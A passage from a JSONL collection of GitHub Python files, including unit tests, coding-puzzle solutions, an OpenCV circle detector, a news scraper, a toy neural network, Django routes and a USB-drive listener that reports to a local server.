INDIVIDUAL OR ENTITY OR UNKNOWN\n this_dict[\"type\"] = row[15].lower()\n\n if row[15] == \"INDIVIDUAL\":\n this_dict[\"name\"] = f\"{row[19]} {row[17]}\"\n else:\n this_dict[\"name\"] = row[16]\n\n this_dict[\"city\"] = row[22]\n this_dict[\"state\"] = row[23]\n this_dict[\"zip\"] = row[26]\n\n this_dict[\"employer\"] = row[28]\n this_dict[\"occupation\"] = row[29]\n this_dict[\"job_title\"] = row[30]\n\n yield this_dict\n\n def post(self):\n pass\n","repo_name":"poffdeluxe/state-fin-ingest","sub_path":"state_fin_ingest/tx/contrib_ingestor.py","file_name":"contrib_ingestor.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18470691695","text":"import unittest\nfrom middle_way import middle_way\n\n\nclass UnitTests(unittest.TestCase):\n\n def test_1_2_3_and_4_5_6_returns_2_5(self):\n actual = middle_way([1, 2, 3], [4, 5, 6])\n expected = [2, 5]\n self.assertEqual(\n actual, expected, 'Expected calling middle_way() with [1, 2, 3] and [4, 5, 6] to return [2, 5]')\n\n def test_7_7_7_and_3_8_0_returns_7_8(self):\n actual = middle_way([7, 7, 7], [3, 8, 0])\n expected = [7, 8]\n self.assertEqual(\n actual, expected, 'Expected calling middle_way() with [7, 7, 7] and [3, 8, 0] to return [7, 8]')\n\n def test_5_2_9_and_1_4_5_returns_2_4(self):\n actual = middle_way([5, 2, 9], [1, 4, 5])\n expected = [2, 4]\n self.assertEqual(\n actual, expected, 'Expected calling middle_way() with [5, 2, 9] and [1, 4, 5] to return [2, 4]')\n\n def test_1_9_7_and_4_8_8_returns_9_8(self):\n actual = middle_way([1, 9, 7], [4, 8, 8])\n expected = [9, 8]\n self.assertEqual(\n actual, expected, 'Expected calling middle_way() with [1, 9, 7] and [4, 8, 8] to return [9, 8]')\n\n def test_1_2_3_and_3_1_4_returns_2_1(self):\n actual = middle_way([1, 2, 3], [3, 1, 4])\n expected = [2, 1]\n self.assertEqual(\n actual, expected, 'Expected calling middle_way() with [1, 2, 3] and [3, 1, 4] to return [2, 1]')\n\n def test_1_2_3_and_4_1_1_returns_2_1(self):\n actual = middle_way([1, 2, 3], [4, 1, 1])\n expected = [2, 1]\n self.assertEqual(\n actual, expected, 'Expected calling middle_way() with [1, 2, 3] and [4, 1, 1] to return [2, 1]')\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"mgermaine93/python-playground","sub_path":"python-coding-bat/list-1/middle_way/test_module.py","file_name":"test_module.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"41260116148","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n# mpl.use('Qt5Agg')\n\nimg = cv2.imread('/Users/khetamdouba/PycharmProjects/Pyserial_test/fromCamera/DSC_0205.JPG', 1) #type: np.ndarray\nprint(img.shape, img.size, img.ndim, img.dtype)\n# rimg = np.rot90(img, k=-1)\n# cimg = rimg[1150:1750, 1700:1900]\ncimg = img\nplt.imshow(cimg)\nplt.show()\n\n# cv2.namedWindow(\"window\", cv2.WINDOW_NORMAL)\n# cv2.imshow('window', cimg)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n\n# cimg = cv2.medianBlur(cimg, 5)\ngcimg = cv2.cvtColor(cimg, cv2.COLOR_BGR2GRAY)\n# circles = cv2.HoughCircles(cimg, cv2.HOUGH_GRADIENT, 1, 1)\ncimg = cv2.cvtColor(gcimg, cv2.COLOR_GRAY2BGR)\ncircles = cv2.HoughCircles(gcimg, cv2.HOUGH_GRADIENT, 1, 100, param1=50, param2=30, minRadius=0, maxRadius=0)\nif circles is not None:\n circles = np.uint16(np.around(circles))\n\n for i in circles[0, :]:\n # draw the outer circle\n cv2.circle(cimg, (i[0], i[1]), i[2], (0, 255, 0), 5)\n # draw the center of the circle\n cv2.circle(cimg, (i[0], i[1]), 2, (0, 0, 255), 6)\n\nprint(circles)\ncv2.namedWindow(\"window\", cv2.WINDOW_NORMAL)\ncv2.imshow('window', cimg)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n# plt.imshow(cimg)\n# plt.show()\n","repo_name":"m-a-mohsen/Abohmaid","sub_path":"01_Python_code/CV_Hough_Circle_v03.py","file_name":"CV_Hough_Circle_v03.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"19299367627","text":"'''\nWritten By Ronel B. Llarenas\nGithub.com/llarenas\n'''\n\nfrom tkinter import *\n\nroot = Tk() #create blank window\n\nthelabel = Label(root, text=\"this is text!!!\") #Label!!!\nthelabel.pack()\n\nroot.mainloop() #display tuloy2\n\n\n\n","repo_name":"llarenas/Python-Programs-with-TKInter","sub_path":"intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"11755838289","text":"import unittest\nfrom unittest.mock import patch\nfrom command import membercommand\n\n\nclass MemberCommandTest(unittest.TestCase):\n @patch('sqlite3.Cursor')\n def testValidateEmail(self, mock_sql_cursor):\n memberCommand = membercommand.MemberCommand(mock_sql_cursor)\n\n # Error guessing\n self.assertFalse(memberCommand.validateEmail(\"\")) # empty input\n\n # Equivalence classes\n \"\"\"\n Valid equivalence classes for email address:\n * string including @\n * string consisting of alphanumeric characters\n Invalid equivalence classes for email address:\n * string without '@'\n * string containing special chars like *\n \"\"\"\n self.assertTrue(memberCommand.validateEmail(\n \"asdf@gmail.com\")) # string including '@'\n # string of alpha numeric characters\n self.assertTrue(memberCommand.validateEmail(\"asdf123@g2mail.com\"))\n\n self.assertFalse(memberCommand.validateEmail(\n \"asdf^gmail.com\")) # string without '@'\n # string containing special chars.\n self.assertFalse(memberCommand.validateEmail(\"asdf*@gmail.com\"))\n\n @patch('sqlite3.Cursor')\n def testValidateName(self, mock_sql_cursor):\n memberCommand = membercommand.MemberCommand(mock_sql_cursor)\n\n # Error guessing\n self.assertFalse(memberCommand.validateName(\"\")) # empty input\n\n # boundary testing where the charater limit is 20:\n self.assertTrue(memberCommand.validateName(\n \"Asadnfjsdnfjsdnajfnf\")) # 20 chars\n self.assertFalse(memberCommand.validateName(\n \"Asadnfjsdnfjsdnajfnfn\")) # 21 chars\n\n self.assertTrue(memberCommand.validateName(\"Bob\"))\n\n @patch('sqlite3.Cursor')\n def testValidatePhoneNumber(self, mock_sql_cursor):\n memberCommand = membercommand.MemberCommand(mock_sql_cursor)\n\n # Error guessing\n self.assertFalse(memberCommand.validatePhone(\"\")) # empty input\n\n # Equivalence classes\n \"\"\"\n Valid equivalence classes for name:\n * string consisting of 9 numeric characters \n Invalid equivalence classes for email address:\n * string consisting of non numeric characters \n * string having less than 9 numbers \n * string having greater than 9 numbers \n * numbers not in format (NNN-NNN-NNNN)\n \"\"\"\n self.assertTrue(memberCommand.validatePhone(\"403-000-0000\")\n ) # 9 numeric characters in format (NNN-NNN-NNNN)\n\n self.assertFalse(memberCommand.validatePhone(\n \"40a-000-0000\")) # non numeric characters\n self.assertFalse(memberCommand.validatePhone(\n \"4-000-0000\")) # less than 9 numbers\n self.assertFalse(memberCommand.validatePhone(\n \"403-0001-0000\")) # greater than 9 numbers\n self.assertFalse(memberCommand.validatePhone(\n \"40-000-10000\")) # numbers not in format\n\n\nif __name__ == \"main\":\n # with unittest.mock.patch('sys.argv', ['prj-tables.sql']):\n # membercommand.main()\n\n unittest.main()\n","repo_name":"dinulade101/ECE322Testing","sub_path":"test/test_membercommand.py","file_name":"test_membercommand.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73117024045","text":"import argparse\nimport os.path\nimport re\nfrom collections import Counter\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport pytest\n\nfrom support import timing\n\nINPUT_TXT = os.path.join(os.path.dirname(__file__), 'input.txt')\n\n# NOTE: paste test text here\nINPUT_S = '''\\\npbga (66)\nxhth (57)\nebii (61)\nhavc (66)\nktlj (57)\nfwft (72) -> ktlj, cntj, xhth\nqoyq (66)\npadx (45) -> pbga, havc, qoyq\ntknk (41) -> ugml, padx, fwft\njptl (61)\nugml (68) -> gyxo, ebii, jptl\ngyxo (61)\ncntj (57)\n'''\nEXPECTED = 60\n\n\ndef parse(s):\n lines = s.splitlines()\n G = nx.DiGraph()\n for line in lines:\n this_node, weight, *others = re.findall(r'\\w+', line)\n G.add_node(this_node, weight=int(weight))\n for other in others:\n G.add_edge(this_node, other)\n return G\n\n\ndef show_graph(G):\n pos_nodes = nx.planar_layout(G)\n nx.draw(G, pos_nodes, with_labels=True)\n pos_attrs = {}\n for node, coords in pos_nodes.items():\n pos_attrs[node] = (coords[0] + 0.10, coords[1])\n\n custom_node_attrs = {\n node: f'{node[\"weight\"]} {node.get(\"total\", 0)}'\n for node in G.nodes()\n }\n\n nx.draw_networkx_labels(G, pos_attrs, labels=custom_node_attrs)\n plt.show()\n\n\ndef compute(s: str) -> int:\n G = parse(s)\n topo_sort = list(nx.topological_sort(G))\n\n # Keep track of each node's total weight (itself + its children)\n weights = {}\n\n for node in reversed(topo_sort):\n total = G.nodes[node]['weight']\n\n counts = Counter(weights[child] for child in G[node])\n unbalanced = None\n\n for child in G[node]:\n # If this child's weight is different from others, we've found it\n if len(counts) > 1 and counts[weights[child]] == 1:\n unbalanced = child\n break\n # Otherwise add to the total weight\n total += weights[child]\n\n if unbalanced:\n # Find the weight adjustment and the new weight of this node\n diff = (max(counts) - min(counts))\n return G.nodes[unbalanced]['weight'] - diff\n\n # Store the total weight of the node\n weights[node] = total\n\n\n@pytest.mark.solved\n@pytest.mark.parametrize(\n ('input_s', 'expected'),\n (\n (INPUT_S, EXPECTED),\n ),\n)\ndef test(input_s: str, expected: int) -> None:\n assert compute(input_s) == expected\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser()\n parser.add_argument('data_file', nargs='?', default=INPUT_TXT)\n args = parser.parse_args()\n\n with open(args.data_file) as f, timing():\n print(compute(f.read()))\n\n return 0\n\n\nif __name__ == '__main__':\n raise SystemExit(main())\n","repo_name":"JakubDotPy/aoc2017","sub_path":"day07/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"15212157503","text":"class Solution:\n def shortestPathBinaryMatrix(self, grid: List[List[int]]) -> int:\n \n if grid[0][0] == 1:\n return -1\n \n n = len(grid)\n \n que = deque([(0, 0, 1)])\n grid[0][0] = 1\n directions = [[0,1], [1,0],[-1,0],[0,-1],[1,1],[1,-1],[-1,1],[-1,-1]]\n \n def valid(row, col):\n return 0 <= row < n and 0 <= col < n and grid[row][col] == 0\n \n while que:\n row, col, step = que.popleft()\n \n \n if row == n - 1 and col == n - 1:\n return step\n \n for dr, dc in directions:\n new_row = row + dr\n new_col = col + dc\n \n if valid(new_row, new_col):\n \n que.append((new_row, new_col, step + 1))\n grid[new_row][new_col] = 1\n return -1","repo_name":"bereket2sh/competitive_programming","sub_path":"1091-shortest-path-in-binary-matrix/1091-shortest-path-in-binary-matrix.py","file_name":"1091-shortest-path-in-binary-matrix.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"25403491599","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\n\nfrom account.models import Project, Task, Role ,Notification, InviteRequest\nfrom account.models import WorkFor\n@login_required\ndef dashboard(request):\n projects = Project.objects.filter(workfor__user_id=request.user.id).values('project_id',\n 'name',\n 'desc',\n 'start_date',\n 'end_date',\n 'workfor__role__name')\n tasks = Task.objects.none()\n for item in projects:\n role = Role.objects.filter(project_id=item['project_id'], workfor__user_id=request.user).last()\n if role.modify_tasks:\n t = Task.objects.filter(project_id=item['project_id'])\n else:\n t = Task.objects.filter(project_id=item['project_id'], role_id__name=item['workfor__role__name'])\n tasks = tasks.union(t)\n print(tasks)\n #tasks = Task.objects.filter(project_id__workfor__user_id=request.user.id) #should be also filtered by role\n notification_num = InviteRequest.objects.filter(user_id=request.user.id).count()\n return render(request,'dashboard.html', context={'projects':projects, 'tasks':tasks,'n':notification_num})\n# Create your views here.\n@login_required\ndef notifications(request):\n for i in InviteRequest.objects.filter(user_id=request.user.id):\n i.read()\n invites = InviteRequest.objects.filter(user_id=request.user.id).values('user_from__username', 'project__name', 'role__name','id')\n return render(request, 'notification.html', {'invites':invites})\n\n\n\n@login_required\ndef accept_invite(request, id):\n invite = get_object_or_404(InviteRequest, id = id)\n invite.accept()\n return redirect('dashboard')\n\n\ndef reject_invite(request, id):\n invite = get_object_or_404(InviteRequest, id=id)\n invite.reject()\n return redirect('dashboard')","repo_name":"michaelpoi/teamtasker_portfolio","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"13850073404","text":"from sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.decomposition import NMF\nfrom sklearn.datasets import fetch_20newsgroups\nfrom unidecode import unidecode\nimport numpy as np\n\nimport pymysql\nfrom functools import partial\n\ndef run_db_query(connection, query, args=None):\n ret_list = []\n with connection.cursor() as cursor:\n print('Executando query:')\n cursor.execute(query, args)\n for result in cursor:\n ret_list.append(result[0])\n return ret_list\n\nconnection = pymysql.connect(\n host='localhost',\n user='root',\n password='',\n database='maldatabase')\n\ndb = partial(run_db_query, connection)\n\nn_features = 4000\nn_components = 100\nn_top_words = 20\n\nanime_synopsis = db('SELECT synopsis FROM animes where synopsis is not NULL')\nmanga_synopsis = db('SELECT synopsis FROM mangas where synopsis is not NULL')\nanime_scores = db('SELECT score FROM animes where synopsis is not NULL')\nmanga_scores = db('SELECT score FROM mangas where synopsis is not NULL')\nanime_title = db('SELECT title FROM animes where synopsis is not NULL')\nmanga_title = db('SELECT title FROM mangas where synopsis is not NULL')\n\n\n#################### ANIMES ####################\n\nanime_tf_vectorizer = TfidfVectorizer(max_df=0.90, min_df=5,\n max_features=n_features,\n stop_words='english')\n\nanime_tf_vectorizer.fit(anime_synopsis)\n\n\nanime_tf_count = anime_tf_vectorizer.transform(anime_synopsis)\n\nanime_nmf = NMF(n_components=50, random_state=1, alpha=0.1, l1_ratio=0.5)\n\nanime_nmf.fit(anime_tf_count)\n\nf = open('animetopic.gml','w+', encoding=\"ascii\")\nf.write('graph [\\n directed 1\\n')\n\nfor i in range(50): \n f.write(' node [ id %s title \"\" topic -1 corr -1 type \"topic\" score %f ]\\n' % (i, 0.0))\n\ncontador = 0\nfor i in range(len(anime_synopsis)):\n anime_arr = anime_nmf.transform(anime_tf_vectorizer.transform([anime_synopsis[i]]))\n # print(np.sort(anime_arr[0]))\n # print(anime_arr[0])\n\n for j in range(50):\n anime_topic = anime_arr[0][j]\n\n if anime_scores[i] is None:\n f.write(' node [ id %s title \"%s\" topic %d corr %f type \"anime\" score 0.0 ]\\n' % (i+contador+50, (unidecode(anime_title[i]).replace('\"', \"\")).replace(\"'\", \"\"), j, anime_topic))\n f.write(' edge [ source %s target %s ]\\n' % (j, i+contador+50))\n else:\n f.write(' node [ id %s title \"%s\" topic %d corr %f type \"anime\" score %f ]\\n' % (i+contador+50, (unidecode(anime_title[i]).replace('\"', \"\")).replace(\"'\", \"\"), j, anime_topic, anime_scores[i]))\n f.write(' edge [ source %s target %s ]\\n' % (j, i+contador+50))\n contador += 1\n contador -= 1\n\nf.write(' ]')\nf.close()\n\n# #################### MANGAS ####################\n\n# manga_tf_vectorizer = TfidfVectorizer(max_df=0.90, min_df=5,\n# max_features=n_features,\n# stop_words='english')\n\n# manga_tf_vectorizer.fit(manga_synopsis)\n\n\n# manga_tf_count = manga_tf_vectorizer.transform(manga_synopsis)\n\n# manga_nmf = NMF(n_components=50, random_state=1, alpha=0.1, l1_ratio=0.5)\n\n# manga_nmf.fit(manga_tf_count)\n\n# f = open('mangatopic.gml','w+', encoding=\"ascii\")\n# f.write('graph [\\n directed 1\\n')\n# contador = 0\n# for i in range(50):\n# f.write(' node [ id %s title \"\" topic -1 type \"topic\" score %f ]\\n' % (i, 0.0))\n\n# for i in range(len(manga_synopsis)):\n# manga_arr = manga_nmf.transform(manga_tf_vectorizer.transform([manga_synopsis[i]]))\n# manga_topic = np.where(manga_arr[0] == np.amax(manga_arr[0]))[0][0]\n\n# # if np.amax(manga_arr[0]) == manga_arr[0][0]: # falta conferir os dados\n# # manga_topic = np.where(manga_arr[0] == np.sort(manga_arr[0])[-2])[0][0]\n\n# if manga_scores[i] is None:\n# f.write(' node [ id %s title \"%s\" topic %d type \"manga\" score 0.0 ]\\n' % (i+50, (unidecode(manga_title[i]).replace('\"', \"\")).replace(\"'\", \"\"), manga_topic))\n# f.write(' edge [ source %s target %s ]\\n' % (manga_topic, i+50))\n# else:\n# f.write(' node [ id %s title \"%s\" topic %d type \"manga\" score %f ]\\n' % (i+50, (unidecode(manga_title[i]).replace('\"', \"\")).replace(\"'\", \"\"), manga_topic, manga_scores[i]))\n# f.write(' edge [ source %s target %s ]\\n' % (manga_topic, i+50))\n\n# f.write(' ]')\n# f.close()\n\n\n\n# def print_top_words(model, feature_names, n_top_words):\n# for topic_idx, topic in enumerate(model.components_):\n# message = \"Topic #%d: \" % topic_idx\n# message += \" \".join([feature_names[i]\n# for i in topic.argsort()[:-n_top_words - 1:-1]])\n# print(message)\n# print()\n\n# tfidf_feature_names = tf_vectorizer.get_feature_names()\n# print_top_words(nmf, tfidf_feature_names, 20)","repo_name":"juanjorgegarcia/MAL-Social-Network-Analysis","sub_path":"topic_modeling_graph.py","file_name":"topic_modeling_graph.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"43799174866","text":"import win32file\r\nimport requests\r\nimport time\r\nimport pyfiglet\r\n\r\nclass check_usb:\r\n\r\n \r\n \r\n def locate_usb():\r\n drive_list = []\r\n run_once = 0\r\n drivebits = win32file.GetLogicalDrives()\r\n for d in range(1, 26):\r\n mask = 1 << d\r\n if drivebits & mask:\r\n # here if the drive is at least there\r\n drname = '%c:\\\\' % chr(ord('A') + d)\r\n t = win32file.GetDriveType(drname)\r\n if t == win32file.DRIVE_REMOVABLE:\r\n drive_list.append(drname)\r\n if run_once == 0:\r\n check_usb.send_server(drive_list)\r\n run_once = 1\r\n else:\r\n pass\r\n \r\n return drive_list\r\n \r\n\r\n def send_server(connected_device):\r\n \r\n url = \"http://127.0.0.1:3333/api/system/?format=json\"\r\n body = {\"honeybot_name\" : connected_device , \r\n \"port\" : \"usb_port\"}\r\n res = requests.post(url , data = body )\r\n \r\n \r\n \r\n \r\n \r\nif __name__ == \"__main__\":\r\n result = pyfiglet.figlet_format(\"USB LISTENER\")\r\n print(result)\r\n while(True):\r\n \r\n check_usb.locate_usb()\r\n time.sleep(5)\r\n \r\n \r\n#import win32api\r\n#import win32file\r\n\r\n\r\n#while(True):\r\n# try:\r\n# \r\n# # Returns a list containing letters from removable drives\r\n# drive_list = win32api.GetLogicalDriveStrings()\r\n# drive_list = drive_list.split(\"\\x00\")[0:-1] # the last element is \"\"\r\n# for letter in drive_list:\r\n# if win32file.GetDriveType(letter) == win32file.DRIVE_REMOVABLE:# check if the drive is of type removable \r\n# print(\"list drives: {0}\".format(letter))\r\n# except:\r\n# pass","repo_name":"M-0x4D/Honeybot_repo","sub_path":"physical/usb_listener.py","file_name":"usb_listener.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17556048653","text":"class Solution:\n directions=[(-1,0),(0,-1),(1,0),(0,1)]\n def numIslands(self, grid: List[List[str]]) -> int:\n m=len(grid)\n if m==0:\n return 0\n n=len(grid[0])\n marked=[[False for _ in range(n)]for _ in range(m)]\n count=0\n for i in range(m):\n for j in range(n):\n if not marked[i][j] and grid[i][j]=='1':\n count+=1\n self.__dfs(grid,i,j,m,n,marked)\n return count\n def __dfs(self,grid,i,j,m,n,marked):\n marked[i][j]=True\n for direction in self.directions:\n new_i=i+direction[0]\n new_j=j+direction[1]\n if 0<=new_i None:\n \"\"\"\n Do not return anything, modify nums1 in-place instead.\n \"\"\"\n last_index = m + n - 1\n while m > 0 and n > 0:\n if nums1[m - 1] > nums2[n - 1]:\n nums1[last_index] = nums1[m - 1]\n m -= 1\n else:\n nums1[last_index] = nums2[n - 1]\n n -= 1\n \n last_index -= 1\n while n > 0:\n nums1[last_index] = nums2[n - 1]\n n, last_index = n - 1, last_index - 1\n \n \n \n ","repo_name":"VeldaKiara/Leetcode","sub_path":"88-merge-sorted-array/88-merge-sorted-array.py","file_name":"88-merge-sorted-array.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"2"} +{"seq_id":"25974809762","text":"import requests\nimport unicodedata\nfrom bs4 import BeautifulSoup as BS4\nimport json\n\nwhile True:\n URL = input('Введите ссылку: ')\n if not URL: break \n\n HEADERS = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 YaBrowser/23.3.0.2246 Yowser/2.5 Safari/537.36'}\n html = requests.get(URL, headers=HEADERS).text\n soup = BS4(html, 'html.parser')\n json_data = []\n for i in ['w_col_wide2', 'w_col1', 'w_col2', 'w_col_wide']:\n for article in soup.find_all('div', class_=i):\n for title in article.find_all('div', class_='b_ear-title'): title = title.get_text(strip=True)\n for intro in article.find_all('div', class_='b_ear-intro'): intro = intro.get_text(strip=True)\n for time in article.find_all('time', class_='b_ear-time'): time = time.get_text(strip=True)\n for image in article.find_all('img'): image = image['src']\n \n json_data.append({\n 'title': unicodedata.normalize('NFKD',title),\n 'context': unicodedata.normalize('NFKD', intro),\n 'publication': unicodedata.normalize('NFKD', time),\n 'image_link': image\n })\n with open(f'gazeta_ru.json', mode='w', encoding='UTF-8') as file:\n json.dump(json_data, file, ensure_ascii=False, indent=4)","repo_name":"neprostoilya/course_repository","sub_path":"lesson 12/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"31744437428","text":"import os\n\nfrom typing import Any, Callable, Tuple\nfrom importlib import import_module\n\nPLUGINS_DIR = \"plugins\"\nPLUGIN_EXTENSION = \".py\"\nCREATE_FUNCTION = \"create\"\n\n\ndef factory(module_name) -> Callable[[str], Any]:\n module = import_module(f\"{PLUGINS_DIR}.{module_name}\")\n\n return getattr(module, CREATE_FUNCTION)\n\n\ndef print_greeting(pet: Any):\n print(f\"{pet.name()} says {pet.greeting()}\")\n\n\ndef print_menu(pet: Any):\n print(f\"{pet.name()} likes to eat {pet.menu()}\")\n\n\ndef main():\n pets = []\n\n for module in os.listdir(PLUGINS_DIR):\n module_name, module_extension = os.path.splitext(module)\n\n if module_extension == PLUGIN_EXTENSION:\n pet = factory(module_name)(f\"{module_name.capitalize()}\")\n pets.append(pet)\n\n for pet in pets:\n print_greeting(pet)\n print_menu(pet)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"futa125/Design-Patterns","sub_path":"lab3/factories/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34329207406","text":"import numpy as np\nfrom . import losses\nfrom . import metrics\n\nclass NeuralNetwork():\n def __init__(self):\n self.layers = []\n self.loss = None\n self.loss_prime = None\n\n def add(self, layer):\n self.layers.append(layer)\n\n def use_loss(self, loss_name):\n self.loss, self.loss_prime = losses.loss_map[loss_name]\n\n def predict(self, input_data):\n n_samples = len(input_data)\n result = []\n for i in range(n_samples):\n output = input_data[i]\n for layer in self.layers:\n output = layer.forward_propagate(output)\n result.append(output)\n return np.array(result)\n\n def evaluate(self, X_test, y_test, classification=False):\n pred = self.predict(X_test)\n if classification:\n return metrics.accuracy(y_test, pred)\n else:\n return losses.mse(y_test, pred)\n\n def fit(self, X_train, y_train, n_epochs, learning_rate):\n n_samples = len(X_train)\n for i in range(n_epochs):\n err = 0\n for j in range(n_samples):\n output = X_train[j]\n for layer in self.layers:\n output = layer.forward_propagate(output)\n err += self.loss(y_train[j], output)\n error = self.loss_prime(y_train[j], output)\n for layer in reversed(self.layers):\n error = layer.backward_propagate(error, learning_rate)\n err /= n_samples\n print(f'Epoch {i+1}/{n_epochs} :: loss {err}')\n\n def __repr__(self):\n ret = '\\nMODEL SUMMARY\\n~~~~~~~~~~~~~\\n'\n n_parameters = 0\n for layer in self.layers:\n ret += str(layer) + '\\n'\n n_parameters += layer.weights.size + layer.bias.size if layer.has_weights else 0\n ret += f'\\n{n_parameters} trainable parameters\\n'\n return ret","repo_name":"marcos-acosta/deep-learning-implementations","sub_path":"nn/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"27502969257","text":"from django.urls import path\nfrom . import views\nurlpatterns = [\n path('', views.home, name='blog-home'),\n path('home/', views.home, name='blog-home'),\n path('about/', views.about, name='blog-about'),\n path('movies/', views.movies, name='blog-movies'),\n path('actors/', views.actors, name='blog-actors'),\n path('watchlist/', views.watchlist, name='watchlist'),\n path('addmovie/', views.add_movies, name='addmovie'),\n path('addactor/', views.add_actor, name='addactor'),\n path('moviewatchlist/', views.add_to_watchlist, name='add-watchlist'),\n path('removemoviewatchlist/', views.remove_to_watchlist, name='remove-watchlist'),\n path('addreview/', views.add_review, name='add-review'),\n path('showmovie/', views.show_movie, name='show-movie'),\n path('myreviews/', views.my_reviews, name='myreviews'),\n path('search_movies/', views.search_movies, name='search-movies'),\n path('addrating/', views.add_rating, name='add-rating'),\n path('myratings/', views.my_ratings, name='myratings'),\n path('update_review/', views.update_review, name='update-review'),\n path('update_rating/', views.update_rating, name='update-rating'),\n path('delete_rating/', views.delete_rating, name='delete-rating'),\n path('delete_review/', views.delete_review, name='delete-review'),\n]\n","repo_name":"paulciciovean/MovieBlogApp","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"13962606772","text":"import random\r\ndef cds():\r\n n=int(input(\"donner la taille de la matrice: \"))\r\n while (n<4 or n>20):\r\n n=int(input(\"donner la taille de la matrice: \"))\r\n return n\r\ndef remplir(m,n):\r\n for i in range (n):\r\n for j in range (n):\r\n x=random.randint(2,99)\r\n while(premier(x)):\r\n x=random.randint(2,99)\r\n m[i][j]=x\r\n print(m)\r\ndef premier(x):\r\n v=False\r\n for i in range(2, x):\r\n if (x % i) == 0:\r\n v = True\r\n break\r\n return v\r\n \r\ndef verif(m,n):\r\n for i in range (n):\r\n print (m[i])\r\n#pp\r\nn=cds()\r\nm=[[\"\" for i in range(n)]for j in range(n)]\r\nprint (m)\r\nremplir(m,n)\r\nverif(m,n)\r\n","repo_name":"WhatIsThePoint/Prog-Algo","sub_path":"Serie 1/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22218986210","text":"from nn.matrix import Matrix\n\n\ndef test_matrix_init():\n mat1 = Matrix(1, 2)\n assert mat1.xsize == 2\n assert mat1.ysize == 1\n\n init_array = [[1, 2, 3], [4, 5, 6]]\n mat2 = Matrix(init=init_array)\n assert mat2.xsize == 3\n assert mat2.ysize == 2\n assert mat2.array == init_array\n\n\ndef test_matrix_transpose():\n mat = Matrix(init=[\n [1, 2, 3],\n [4, 5, 6]\n ])\n\n result = mat.transpose\n\n print(result.array)\n\n assert result.array == [\n [1, 4],\n [2, 5],\n [3, 6],\n ]\n\n\ndef test_matrix_add():\n mat1 = Matrix(init=[\n [1, 2, 3],\n [4, 5, 6]\n ])\n\n mat2 = Matrix(init=[\n [2, 3, 4],\n [3, 2, 1],\n ])\n\n result = mat1 + mat2\n\n print(result.array)\n\n assert result.array == [\n [3, 5, 7],\n [7, 7, 7]\n ]\n\n\ndef test_matrix_sub():\n mat1 = Matrix(init=[\n [1, 2, 3],\n [4, 5, 6]\n ])\n\n mat2 = Matrix(init=[\n [2, 3, 4],\n [3, 2, 1],\n ])\n\n result = mat1 - mat2\n\n print(result.array)\n\n assert result.array == [\n [-1, -1, -1],\n [1, 3, 5]\n ]\n\n\ndef test_matrix_mul():\n mat1 = Matrix(init=[\n [1, 2, 3],\n [4, 5, 6]\n ])\n\n mat2 = Matrix(init=[\n [1],\n [2],\n [3]\n ])\n\n result = mat1 * mat2\n\n print(mat1.array)\n print(mat2.array)\n print(result.array)\n\n assert result.array == [[14], [32]]\n\n\ndef test_matrix_matmul_matrix():\n mat1 = Matrix(init=[\n [1, 2, 3],\n [4, 5, 6]\n ])\n\n result = mat1 @ mat1\n\n print(result.array)\n\n assert result.array == [\n [1, 4, 9],\n [16, 25, 36],\n ]\n\n\ndef test_matrix_matmul_number():\n mat1 = Matrix(init=[\n [1, 2, 3],\n [4, 5, 6]\n ])\n\n 